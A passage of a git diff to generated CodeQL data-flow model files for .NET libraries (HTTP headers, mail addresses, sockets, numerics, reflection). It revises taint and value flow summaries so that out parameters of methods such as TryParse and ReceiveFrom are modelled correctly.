"(System.String,System.Net.Http.Headers.HeaderStringValues)", "", "Argument[0]", "Argument[1].Element", "taint", "df-generated"] + - ["System.Net.Http.Headers", "HttpHeadersNonValidated", False, "TryGetValues", "(System.String,System.Net.Http.Headers.HeaderStringValues)", "", "Argument[0]", "Argument[1].Element", "taint", "df-generated"] - ["System.Net.Http.Headers", "HttpHeadersNonValidated", False, "get_Item", "(System.String)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["System.Net.Http.Headers", "HttpHeadersNonValidated", False, "get_Keys", "()", "", "Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Key]", "ReturnValue.Element", "value", "dfc-generated"] - ["System.Net.Http.Headers", "HttpHeadersNonValidated", False, "get_Values", "()", "", "Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Value]", "ReturnValue.Element", "value", "dfc-generated"] @@ -49,8 +49,8 @@ extensions: - ["System.Net.Http.Headers", "MediaTypeHeaderValue", False, "MediaTypeHeaderValue", "(System.Net.Http.Headers.MediaTypeHeaderValue)", "", "Argument[0].SyntheticField[System.Net.Http.Headers.MediaTypeHeaderValue._mediaType]", "Argument[this].SyntheticField[System.Net.Http.Headers.MediaTypeHeaderValue._mediaType]", "value", "dfc-generated"] - ["System.Net.Http.Headers", "MediaTypeHeaderValue", False, "MediaTypeHeaderValue", "(System.String,System.String)", "", "Argument[0]", "Argument[this].SyntheticField[System.Net.Http.Headers.MediaTypeHeaderValue._mediaType]", "value", "dfc-generated"] - ["System.Net.Http.Headers", "MediaTypeHeaderValue", False, "ToString", "()", "", "Argument[this].SyntheticField[System.Net.Http.Headers.MediaTypeHeaderValue._mediaType]", "ReturnValue", "value", "dfc-generated"] - - ["System.Net.Http.Headers", "MediaTypeHeaderValue", False, "TryParse", "(System.String,System.Net.Http.Headers.MediaTypeHeaderValue)", "", "Argument[0]", "ReturnValue.SyntheticField[System.Net.Http.Headers.MediaTypeHeaderValue._mediaType]", "taint", "dfc-generated"] - - ["System.Net.Http.Headers", "MediaTypeWithQualityHeaderValue", False, "TryParse", "(System.String,System.Net.Http.Headers.MediaTypeWithQualityHeaderValue)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["System.Net.Http.Headers", "MediaTypeHeaderValue", False, "TryParse", "(System.String,System.Net.Http.Headers.MediaTypeHeaderValue)", "", "Argument[0]", "Argument[1].SyntheticField[System.Net.Http.Headers.MediaTypeHeaderValue._mediaType]", "taint", "dfc-generated"] + - ["System.Net.Http.Headers", "MediaTypeWithQualityHeaderValue", False, "TryParse", "(System.String,System.Net.Http.Headers.MediaTypeWithQualityHeaderValue)", "", "Argument[0]", "Argument[1]", "taint", "df-generated"] - ["System.Net.Http.Headers", "NameValueHeaderValue", False, "NameValueHeaderValue", "(System.Net.Http.Headers.NameValueHeaderValue)", "", "Argument[0].SyntheticField[System.Net.Http.Headers.NameValueHeaderValue._name]", "Argument[this].SyntheticField[System.Net.Http.Headers.NameValueHeaderValue._name]", "value", "dfc-generated"] - ["System.Net.Http.Headers", "NameValueHeaderValue", False, "NameValueHeaderValue", "(System.Net.Http.Headers.NameValueHeaderValue)", "", "Argument[0].SyntheticField[System.Net.Http.Headers.NameValueHeaderValue._value]", "Argument[this].SyntheticField[System.Net.Http.Headers.NameValueHeaderValue._value]", "value", "dfc-generated"] - ["System.Net.Http.Headers", "NameValueHeaderValue", False, "NameValueHeaderValue", "(System.String,System.String)", "", "Argument[0]", "Argument[this].SyntheticField[System.Net.Http.Headers.NameValueHeaderValue._name]", "value", "dfc-generated"] @@ -94,9 +94,9 @@ extensions: - ["System.Net.Http.Headers", "TransferCodingHeaderValue", False, "ToString", "()", "", "Argument[this].SyntheticField[System.Net.Http.Headers.TransferCodingHeaderValue._value]", "ReturnValue", "taint", "dfc-generated"] - ["System.Net.Http.Headers", "TransferCodingHeaderValue", False, "TransferCodingHeaderValue", "(System.Net.Http.Headers.TransferCodingHeaderValue)", "", "Argument[0].SyntheticField[System.Net.Http.Headers.TransferCodingHeaderValue._value]", "Argument[this].SyntheticField[System.Net.Http.Headers.TransferCodingHeaderValue._value]", "value", "dfc-generated"] - ["System.Net.Http.Headers", "TransferCodingHeaderValue", False, "TransferCodingHeaderValue", "(System.String)", "", "Argument[0]", "Argument[this].SyntheticField[System.Net.Http.Headers.TransferCodingHeaderValue._value]", "value", "dfc-generated"] - - ["System.Net.Http.Headers", "TransferCodingHeaderValue", False, "TryParse", "(System.String,System.Net.Http.Headers.TransferCodingHeaderValue)", "", "Argument[0]", "ReturnValue.SyntheticField[System.Net.Http.Headers.TransferCodingHeaderValue._value]", "taint", "dfc-generated"] + - ["System.Net.Http.Headers", "TransferCodingHeaderValue", False, "TryParse", "(System.String,System.Net.Http.Headers.TransferCodingHeaderValue)", "", "Argument[0]", "Argument[1].SyntheticField[System.Net.Http.Headers.TransferCodingHeaderValue._value]", "taint", "dfc-generated"] - ["System.Net.Http.Headers", "TransferCodingHeaderValue", False, "get_Value", "()", "", "Argument[this].SyntheticField[System.Net.Http.Headers.TransferCodingHeaderValue._value]", "ReturnValue", "value", "dfc-generated"] - - ["System.Net.Http.Headers", "TransferCodingWithQualityHeaderValue", False, "TryParse", "(System.String,System.Net.Http.Headers.TransferCodingWithQualityHeaderValue)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["System.Net.Http.Headers", "TransferCodingWithQualityHeaderValue", False, "TryParse", "(System.String,System.Net.Http.Headers.TransferCodingWithQualityHeaderValue)", "", "Argument[0]", "Argument[1]", "taint", "df-generated"] - ["System.Net.Http.Headers", "ViaHeaderValue", False, "ViaHeaderValue", "(System.String,System.String,System.String,System.String)", "", "Argument[0]", "Argument[this].SyntheticField[System.Net.Http.Headers.ViaHeaderValue._protocolVersion]", "value", "dfc-generated"] - ["System.Net.Http.Headers", "ViaHeaderValue", False, "ViaHeaderValue", "(System.String,System.String,System.String,System.String)", "", "Argument[1]", "Argument[this].SyntheticField[System.Net.Http.Headers.ViaHeaderValue._receivedBy]", "value", "dfc-generated"] - ["System.Net.Http.Headers", "ViaHeaderValue", False, "ViaHeaderValue", "(System.String,System.String,System.String,System.String)", "", "Argument[2]", "Argument[this].SyntheticField[System.Net.Http.Headers.ViaHeaderValue._protocolName]", "value", "dfc-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Net.Mail.model.yml b/csharp/ql/lib/ext/generated/System.Net.Mail.model.yml index a3399405d7f..6266d2252d9 100644 --- a/csharp/ql/lib/ext/generated/System.Net.Mail.model.yml +++ b/csharp/ql/lib/ext/generated/System.Net.Mail.model.yml @@ -38,17 +38,17 @@ extensions: - ["System.Net.Mail", "MailAddress", False, "MailAddress", "(System.String,System.String,System.Text.Encoding)", "", "Argument[0]", "Argument[this].SyntheticField[System.Net.Mail.MailAddress._userName]", "taint", "dfc-generated"] - ["System.Net.Mail", "MailAddress", False, "MailAddress", "(System.String,System.String,System.Text.Encoding)", "", "Argument[1]", "Argument[this].SyntheticField[System.Net.Mail.MailAddress._displayName]", "value", "dfc-generated"] - ["System.Net.Mail", "MailAddress", False, "ToString", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Net.Mail", "MailAddress", False, "TryCreate", "(System.String,System.Net.Mail.MailAddress)", "", "Argument[0]", "ReturnValue.SyntheticField[System.Net.Mail.MailAddress._displayName]", "taint", "dfc-generated"] - - ["System.Net.Mail", "MailAddress", False, "TryCreate", "(System.String,System.Net.Mail.MailAddress)", "", "Argument[0]", "ReturnValue.SyntheticField[System.Net.Mail.MailAddress._host]", "taint", "dfc-generated"] - - ["System.Net.Mail", "MailAddress", False, "TryCreate", "(System.String,System.Net.Mail.MailAddress)", "", "Argument[0]", "ReturnValue.SyntheticField[System.Net.Mail.MailAddress._userName]", "taint", "dfc-generated"] - - ["System.Net.Mail", "MailAddress", False, "TryCreate", "(System.String,System.String,System.Net.Mail.MailAddress)", "", "Argument[0]", "ReturnValue.SyntheticField[System.Net.Mail.MailAddress._displayName]", "taint", "dfc-generated"] - - ["System.Net.Mail", "MailAddress", False, "TryCreate", "(System.String,System.String,System.Net.Mail.MailAddress)", "", "Argument[0]", "ReturnValue.SyntheticField[System.Net.Mail.MailAddress._host]", "taint", "dfc-generated"] - - ["System.Net.Mail", "MailAddress", False, "TryCreate", "(System.String,System.String,System.Net.Mail.MailAddress)", "", "Argument[0]", "ReturnValue.SyntheticField[System.Net.Mail.MailAddress._userName]", "taint", "dfc-generated"] - - ["System.Net.Mail", "MailAddress", False, "TryCreate", "(System.String,System.String,System.Net.Mail.MailAddress)", "", "Argument[1]", "ReturnValue.SyntheticField[System.Net.Mail.MailAddress._displayName]", "value", "dfc-generated"] - - ["System.Net.Mail", "MailAddress", False, "TryCreate", "(System.String,System.String,System.Text.Encoding,System.Net.Mail.MailAddress)", "", "Argument[0]", "ReturnValue.SyntheticField[System.Net.Mail.MailAddress._displayName]", "taint", "dfc-generated"] - - ["System.Net.Mail", "MailAddress", False, "TryCreate", "(System.String,System.String,System.Text.Encoding,System.Net.Mail.MailAddress)", "", "Argument[0]", "ReturnValue.SyntheticField[System.Net.Mail.MailAddress._host]", "taint", "dfc-generated"] - - ["System.Net.Mail", "MailAddress", False, "TryCreate", "(System.String,System.String,System.Text.Encoding,System.Net.Mail.MailAddress)", "", "Argument[0]", "ReturnValue.SyntheticField[System.Net.Mail.MailAddress._userName]", "taint", "dfc-generated"] - - ["System.Net.Mail", "MailAddress", False, "TryCreate", "(System.String,System.String,System.Text.Encoding,System.Net.Mail.MailAddress)", "", "Argument[1]", "ReturnValue.SyntheticField[System.Net.Mail.MailAddress._displayName]", "value", "dfc-generated"] + - ["System.Net.Mail", "MailAddress", False, "TryCreate", "(System.String,System.Net.Mail.MailAddress)", "", "Argument[0]", "Argument[1].SyntheticField[System.Net.Mail.MailAddress._displayName]", "taint", "dfc-generated"] + - ["System.Net.Mail", "MailAddress", False, "TryCreate", "(System.String,System.Net.Mail.MailAddress)", "", "Argument[0]", "Argument[1].SyntheticField[System.Net.Mail.MailAddress._host]", "taint", "dfc-generated"] + - ["System.Net.Mail", "MailAddress", False, "TryCreate", "(System.String,System.Net.Mail.MailAddress)", "", "Argument[0]", "Argument[1].SyntheticField[System.Net.Mail.MailAddress._userName]", "taint", "dfc-generated"] + - ["System.Net.Mail", "MailAddress", False, "TryCreate", "(System.String,System.String,System.Net.Mail.MailAddress)", "", "Argument[0]", "Argument[2].SyntheticField[System.Net.Mail.MailAddress._displayName]", "taint", "dfc-generated"] + - ["System.Net.Mail", "MailAddress", False, "TryCreate", "(System.String,System.String,System.Net.Mail.MailAddress)", "", "Argument[0]", "Argument[2].SyntheticField[System.Net.Mail.MailAddress._host]", "taint", "dfc-generated"] + - ["System.Net.Mail", "MailAddress", False, "TryCreate", "(System.String,System.String,System.Net.Mail.MailAddress)", "", "Argument[0]", "Argument[2].SyntheticField[System.Net.Mail.MailAddress._userName]", "taint", "dfc-generated"] + - ["System.Net.Mail", "MailAddress", False, "TryCreate", "(System.String,System.String,System.Net.Mail.MailAddress)", "", "Argument[1]", "Argument[2].SyntheticField[System.Net.Mail.MailAddress._displayName]", "value", "dfc-generated"] + - ["System.Net.Mail", "MailAddress", False, "TryCreate", "(System.String,System.String,System.Text.Encoding,System.Net.Mail.MailAddress)", "", "Argument[0]", "Argument[3].SyntheticField[System.Net.Mail.MailAddress._displayName]", "taint", "dfc-generated"] + - ["System.Net.Mail", "MailAddress", False, "TryCreate", "(System.String,System.String,System.Text.Encoding,System.Net.Mail.MailAddress)", "", "Argument[0]", "Argument[3].SyntheticField[System.Net.Mail.MailAddress._host]", "taint", "dfc-generated"] + - ["System.Net.Mail", "MailAddress", False, "TryCreate", "(System.String,System.String,System.Text.Encoding,System.Net.Mail.MailAddress)", "", "Argument[0]", "Argument[3].SyntheticField[System.Net.Mail.MailAddress._userName]", "taint", "dfc-generated"] + - ["System.Net.Mail", "MailAddress", False, "TryCreate", "(System.String,System.String,System.Text.Encoding,System.Net.Mail.MailAddress)", "", "Argument[1]", "Argument[3].SyntheticField[System.Net.Mail.MailAddress._displayName]", "value", "dfc-generated"] - ["System.Net.Mail", "MailAddress", False, "get_Address", "()", "", "Argument[this].SyntheticField[System.Net.Mail.MailAddress._host]", "ReturnValue", "taint", "dfc-generated"] - ["System.Net.Mail", "MailAddress", False, "get_Address", "()", "", "Argument[this].SyntheticField[System.Net.Mail.MailAddress._userName]", "ReturnValue", "taint", "dfc-generated"] - ["System.Net.Mail", "MailAddress", False, "get_DisplayName", "()", "", "Argument[this].SyntheticField[System.Net.Mail.MailAddress._displayName]", "ReturnValue", "value", "dfc-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Net.Sockets.model.yml b/csharp/ql/lib/ext/generated/System.Net.Sockets.model.yml index 0ea691ff704..11224be9f57 100644 --- a/csharp/ql/lib/ext/generated/System.Net.Sockets.model.yml +++ b/csharp/ql/lib/ext/generated/System.Net.Sockets.model.yml @@ -19,8 +19,6 @@ extensions: - ["System.Net.Sockets", "SendPacketsElement", False, "SendPacketsElement", "(System.String,System.Int64,System.Int32,System.Boolean)", "", "Argument[0]", "Argument[this].Property[System.Net.Sockets.SendPacketsElement.FilePath]", "value", "dfc-generated"] - ["System.Net.Sockets", "Socket", False, "Accept", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Net.Sockets", "Socket", False, "AcceptAsync", "(System.Net.Sockets.SocketAsyncEventArgs)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] - - ["System.Net.Sockets", "Socket", False, "BeginReceiveFrom", "(System.Byte[],System.Int32,System.Int32,System.Net.Sockets.SocketFlags,System.Net.EndPoint,System.AsyncCallback,System.Object)", "", "Argument[4]", "ReturnValue", "value", "dfc-generated"] - - ["System.Net.Sockets", "Socket", False, "BeginReceiveMessageFrom", "(System.Byte[],System.Int32,System.Int32,System.Net.Sockets.SocketFlags,System.Net.EndPoint,System.AsyncCallback,System.Object)", "", "Argument[4]", "ReturnValue", "value", "dfc-generated"] - ["System.Net.Sockets", "Socket", False, "Bind", "(System.Net.EndPoint)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Net.Sockets", "Socket", False, "Connect", "(System.Net.EndPoint)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Net.Sockets", "Socket", False, "ConnectAsync", "(System.Net.EndPoint)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] @@ -28,18 +26,16 @@ extensions: - ["System.Net.Sockets", "Socket", False, "ConnectAsync", "(System.Net.Sockets.SocketAsyncEventArgs)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Net.Sockets", "Socket", False, "ConnectAsync", "(System.Net.Sockets.SocketAsyncEventArgs)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] - ["System.Net.Sockets", "Socket", False, "DisconnectAsync", "(System.Net.Sockets.SocketAsyncEventArgs)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] - - ["System.Net.Sockets", "Socket", False, "EndReceiveFrom", "(System.IAsyncResult,System.Net.EndPoint)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - - ["System.Net.Sockets", "Socket", False, "EndReceiveMessageFrom", "(System.IAsyncResult,System.Net.Sockets.SocketFlags,System.Net.EndPoint,System.Net.Sockets.IPPacketInformation)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] - ["System.Net.Sockets", "Socket", False, "ReceiveAsync", "(System.Net.Sockets.SocketAsyncEventArgs)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] - - ["System.Net.Sockets", "Socket", False, "ReceiveFrom", "(System.Byte[],System.Int32,System.Int32,System.Net.Sockets.SocketFlags,System.Net.EndPoint)", "", "Argument[4]", "ReturnValue", "value", "dfc-generated"] - - ["System.Net.Sockets", "Socket", False, "ReceiveFrom", "(System.Byte[],System.Int32,System.Net.Sockets.SocketFlags,System.Net.EndPoint)", "", "Argument[3]", "ReturnValue", "value", "dfc-generated"] - - ["System.Net.Sockets", "Socket", False, "ReceiveFrom", "(System.Byte[],System.Net.EndPoint)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - - ["System.Net.Sockets", "Socket", False, "ReceiveFrom", "(System.Byte[],System.Net.Sockets.SocketFlags,System.Net.EndPoint)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] - - ["System.Net.Sockets", "Socket", False, "ReceiveFrom", "(System.Span,System.Net.EndPoint)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - - ["System.Net.Sockets", "Socket", False, "ReceiveFrom", "(System.Span,System.Net.Sockets.SocketFlags,System.Net.EndPoint)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["System.Net.Sockets", "Socket", False, "ReceiveFrom", "(System.Byte[],System.Int32,System.Int32,System.Net.Sockets.SocketFlags,System.Net.EndPoint)", "", "Argument[4]", "Argument[this]", "taint", "df-generated"] + - ["System.Net.Sockets", "Socket", False, "ReceiveFrom", "(System.Byte[],System.Int32,System.Net.Sockets.SocketFlags,System.Net.EndPoint)", "", "Argument[3]", "Argument[this]", "taint", "df-generated"] + - ["System.Net.Sockets", "Socket", False, "ReceiveFrom", "(System.Byte[],System.Net.EndPoint)", "", "Argument[1]", "Argument[this]", "taint", "df-generated"] + - ["System.Net.Sockets", "Socket", False, "ReceiveFrom", "(System.Byte[],System.Net.Sockets.SocketFlags,System.Net.EndPoint)", "", "Argument[2]", "Argument[this]", "taint", "df-generated"] + - ["System.Net.Sockets", "Socket", False, "ReceiveFrom", "(System.Span,System.Net.EndPoint)", "", "Argument[1]", "Argument[this]", "taint", "df-generated"] + - ["System.Net.Sockets", "Socket", False, "ReceiveFrom", "(System.Span,System.Net.Sockets.SocketFlags,System.Net.EndPoint)", "", "Argument[2]", "Argument[this]", "taint", "df-generated"] - ["System.Net.Sockets", "Socket", False, "ReceiveFromAsync", "(System.Net.Sockets.SocketAsyncEventArgs)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] - - ["System.Net.Sockets", "Socket", False, "ReceiveMessageFrom", "(System.Byte[],System.Int32,System.Int32,System.Net.Sockets.SocketFlags,System.Net.EndPoint,System.Net.Sockets.IPPacketInformation)", "", "Argument[4]", "ReturnValue", "value", "dfc-generated"] - - ["System.Net.Sockets", "Socket", False, "ReceiveMessageFrom", "(System.Span,System.Net.Sockets.SocketFlags,System.Net.EndPoint,System.Net.Sockets.IPPacketInformation)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["System.Net.Sockets", "Socket", False, "ReceiveMessageFrom", "(System.Byte[],System.Int32,System.Int32,System.Net.Sockets.SocketFlags,System.Net.EndPoint,System.Net.Sockets.IPPacketInformation)", "", "Argument[4]", "Argument[this]", "taint", "df-generated"] + - ["System.Net.Sockets", "Socket", False, "ReceiveMessageFrom", "(System.Span,System.Net.Sockets.SocketFlags,System.Net.EndPoint,System.Net.Sockets.IPPacketInformation)", "", "Argument[2]", "Argument[this]", "taint", "df-generated"] - ["System.Net.Sockets", "Socket", False, "ReceiveMessageFromAsync", "(System.Net.Sockets.SocketAsyncEventArgs)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] - ["System.Net.Sockets", "Socket", False, "SendAsync", "(System.Net.Sockets.SocketAsyncEventArgs)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] - ["System.Net.Sockets", "Socket", False, "SendPacketsAsync", "(System.Net.Sockets.SocketAsyncEventArgs)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] @@ -148,6 +144,8 @@ extensions: - ["System.Net.Sockets", "Socket", "BeginReceive", "(System.Byte[],System.Int32,System.Int32,System.Net.Sockets.SocketFlags,System.Net.Sockets.SocketError,System.AsyncCallback,System.Object)", "summary", "df-generated"] - ["System.Net.Sockets", "Socket", "BeginReceive", "(System.Collections.Generic.IList>,System.Net.Sockets.SocketFlags,System.AsyncCallback,System.Object)", "summary", "df-generated"] - ["System.Net.Sockets", "Socket", "BeginReceive", "(System.Collections.Generic.IList>,System.Net.Sockets.SocketFlags,System.Net.Sockets.SocketError,System.AsyncCallback,System.Object)", "summary", "df-generated"] + - ["System.Net.Sockets", "Socket", "BeginReceiveFrom", "(System.Byte[],System.Int32,System.Int32,System.Net.Sockets.SocketFlags,System.Net.EndPoint,System.AsyncCallback,System.Object)", "summary", "df-generated"] + - ["System.Net.Sockets", "Socket", "BeginReceiveMessageFrom", "(System.Byte[],System.Int32,System.Int32,System.Net.Sockets.SocketFlags,System.Net.EndPoint,System.AsyncCallback,System.Object)", "summary", "df-generated"] - ["System.Net.Sockets", "Socket", "BeginSend", "(System.Byte[],System.Int32,System.Int32,System.Net.Sockets.SocketFlags,System.AsyncCallback,System.Object)", "summary", "df-generated"] - ["System.Net.Sockets", "Socket", "BeginSend", "(System.Byte[],System.Int32,System.Int32,System.Net.Sockets.SocketFlags,System.Net.Sockets.SocketError,System.AsyncCallback,System.Object)", "summary", "df-generated"] - ["System.Net.Sockets", "Socket", "BeginSend", "(System.Collections.Generic.IList>,System.Net.Sockets.SocketFlags,System.AsyncCallback,System.Object)", "summary", "df-generated"] @@ -180,6 +178,8 @@ extensions: - ["System.Net.Sockets", "Socket", "EndDisconnect", "(System.IAsyncResult)", "summary", "df-generated"] - ["System.Net.Sockets", "Socket", "EndReceive", "(System.IAsyncResult)", "summary", "df-generated"] - ["System.Net.Sockets", "Socket", "EndReceive", "(System.IAsyncResult,System.Net.Sockets.SocketError)", "summary", "df-generated"] + - ["System.Net.Sockets", "Socket", "EndReceiveFrom", "(System.IAsyncResult,System.Net.EndPoint)", "summary", "df-generated"] + - ["System.Net.Sockets", "Socket", "EndReceiveMessageFrom", "(System.IAsyncResult,System.Net.Sockets.SocketFlags,System.Net.EndPoint,System.Net.Sockets.IPPacketInformation)", "summary", "df-generated"] - ["System.Net.Sockets", "Socket", "EndSend", "(System.IAsyncResult)", "summary", "df-generated"] - ["System.Net.Sockets", "Socket", "EndSend", "(System.IAsyncResult,System.Net.Sockets.SocketError)", "summary", "df-generated"] - ["System.Net.Sockets", "Socket", "EndSendFile", "(System.IAsyncResult)", "summary", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Numerics.model.yml b/csharp/ql/lib/ext/generated/System.Numerics.model.yml index 3d61627c65b..4e18690150d 100644 --- a/csharp/ql/lib/ext/generated/System.Numerics.model.yml +++ b/csharp/ql/lib/ext/generated/System.Numerics.model.yml @@ -13,7 +13,7 @@ extensions: - ["System.Numerics", "BigInteger", False, "CreateSaturating", "(TOther)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Numerics", "BigInteger", False, "CreateTruncating", "(TOther)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Numerics", "BigInteger", False, "DivRem", "(System.Numerics.BigInteger,System.Numerics.BigInteger)", "", "Argument[0]", "ReturnValue.Field[System.ValueTuple`2.Item2]", "value", "dfc-generated"] - - ["System.Numerics", "BigInteger", False, "DivRem", "(System.Numerics.BigInteger,System.Numerics.BigInteger,System.Numerics.BigInteger)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["System.Numerics", "BigInteger", False, "DivRem", "(System.Numerics.BigInteger,System.Numerics.BigInteger,System.Numerics.BigInteger)", "", "Argument[0]", "Argument[2]", "value", "dfc-generated"] - ["System.Numerics", "BigInteger", False, "Max", "(System.Numerics.BigInteger,System.Numerics.BigInteger)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Numerics", "BigInteger", False, "Max", "(System.Numerics.BigInteger,System.Numerics.BigInteger)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - ["System.Numerics", "BigInteger", False, "MaxMagnitude", "(System.Numerics.BigInteger,System.Numerics.BigInteger)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] @@ -90,7 +90,6 @@ extensions: - ["System.Numerics", "Vector", False, "Round", "(System.Numerics.Vector,System.MidpointRounding)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Numerics", "Vector", False, "Round", "(System.Numerics.Vector)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Numerics", "Vector", False, "Round", "(System.Numerics.Vector,System.MidpointRounding)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Numerics", "Vector", False, "StoreUnsafe", "(System.Numerics.Vector,T)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - ["System.Numerics", "Vector", False, "Truncate", "(System.Numerics.Vector)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Numerics", "Vector", False, "Truncate", "(System.Numerics.Vector)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Numerics", "Vector", False, "WithElement", "(System.Numerics.Vector,System.Int32,T)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] @@ -1401,6 +1400,7 @@ extensions: - ["System.Numerics", "Vector", "StoreUnsafe", "(System.Numerics.Vector3,System.Single,System.UIntPtr)", "summary", "df-generated"] - ["System.Numerics", "Vector", "StoreUnsafe", "(System.Numerics.Vector4,System.Single)", "summary", "df-generated"] - ["System.Numerics", "Vector", "StoreUnsafe", "(System.Numerics.Vector4,System.Single,System.UIntPtr)", "summary", "df-generated"] + - ["System.Numerics", "Vector", "StoreUnsafe", "(System.Numerics.Vector,T)", "summary", "df-generated"] - ["System.Numerics", "Vector", "StoreUnsafe", "(System.Numerics.Vector,T,System.UIntPtr)", "summary", "df-generated"] - ["System.Numerics", "Vector", "Subtract", "(System.Numerics.Vector,System.Numerics.Vector)", "summary", "df-generated"] - ["System.Numerics", "Vector", "Sum", "(System.Numerics.Vector)", "summary", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Reflection.Emit.model.yml b/csharp/ql/lib/ext/generated/System.Reflection.Emit.model.yml index 4f2071ef77c..de1bc797976 100644 --- a/csharp/ql/lib/ext/generated/System.Reflection.Emit.model.yml +++ b/csharp/ql/lib/ext/generated/System.Reflection.Emit.model.yml @@ -107,6 +107,7 @@ extensions: - ["System.Reflection.Emit", "ParameterBuilder", True, "get_Name", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Reflection.Emit", "PersistedAssemblyBuilder", False, "DefineDynamicModuleCore", "(System.String)", "", "Argument[0]", "ReturnValue.SyntheticField[System.Reflection.Emit.ModuleBuilderImpl._name]", "value", "dfc-generated"] - ["System.Reflection.Emit", "PersistedAssemblyBuilder", False, "GenerateMetadata", "(System.Reflection.Metadata.BlobBuilder,System.Reflection.Metadata.BlobBuilder)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Reflection.Emit", "PersistedAssemblyBuilder", False, "GenerateMetadata", "(System.Reflection.Metadata.BlobBuilder,System.Reflection.Metadata.BlobBuilder,System.Reflection.Metadata.Ecma335.MetadataBuilder)", "", "Argument[this]", "Argument[2]", "taint", "df-generated"] - ["System.Reflection.Emit", "PersistedAssemblyBuilder", False, "GenerateMetadata", "(System.Reflection.Metadata.BlobBuilder,System.Reflection.Metadata.BlobBuilder,System.Reflection.Metadata.Ecma335.MetadataBuilder)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Reflection.Emit", "PersistedAssemblyBuilder", False, "PersistedAssemblyBuilder", "(System.Reflection.AssemblyName,System.Reflection.Assembly,System.Collections.Generic.IEnumerable)", "", "Argument[1]", "Argument[this]", "taint", "df-generated"] - ["System.Reflection.Emit", "PropertyBuilder", False, "AddOtherMethodCore", "(System.Reflection.Emit.MethodBuilder)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Reflection.Metadata.Ecma335.model.yml b/csharp/ql/lib/ext/generated/System.Reflection.Metadata.Ecma335.model.yml index 4e738fbc341..4b3fa44e1fe 100644 --- a/csharp/ql/lib/ext/generated/System.Reflection.Metadata.Ecma335.model.yml +++ b/csharp/ql/lib/ext/generated/System.Reflection.Metadata.Ecma335.model.yml @@ -56,16 +56,13 @@ extensions: - ["System.Reflection.Metadata.Ecma335", "PortablePdbBuilder", False, "Serialize", "(System.Reflection.Metadata.BlobBuilder)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Reflection.Metadata.Ecma335", "ReturnTypeEncoder", False, "ReturnTypeEncoder", "(System.Reflection.Metadata.BlobBuilder)", "", "Argument[0]", "Argument[this].Property[System.Reflection.Metadata.Ecma335.ReturnTypeEncoder.Builder]", "value", "dfc-generated"] - ["System.Reflection.Metadata.Ecma335", "ScalarEncoder", False, "ScalarEncoder", "(System.Reflection.Metadata.BlobBuilder)", "", "Argument[0]", "Argument[this].Property[System.Reflection.Metadata.Ecma335.ScalarEncoder.Builder]", "value", "dfc-generated"] - - ["System.Reflection.Metadata.Ecma335", "SignatureDecoder", False, "DecodeFieldSignature", "(System.Reflection.Metadata.BlobReader)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Reflection.Metadata.Ecma335", "SignatureDecoder", False, "DecodeLocalSignature", "(System.Reflection.Metadata.BlobReader)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Reflection.Metadata.Ecma335", "SignatureDecoder", False, "DecodeMethodSignature", "(System.Reflection.Metadata.BlobReader)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Reflection.Metadata.Ecma335", "SignatureDecoder", False, "DecodeMethodSpecificationSignature", "(System.Reflection.Metadata.BlobReader)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Reflection.Metadata.Ecma335", "SignatureDecoder", False, "DecodeType", "(System.Reflection.Metadata.BlobReader,System.Boolean)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - 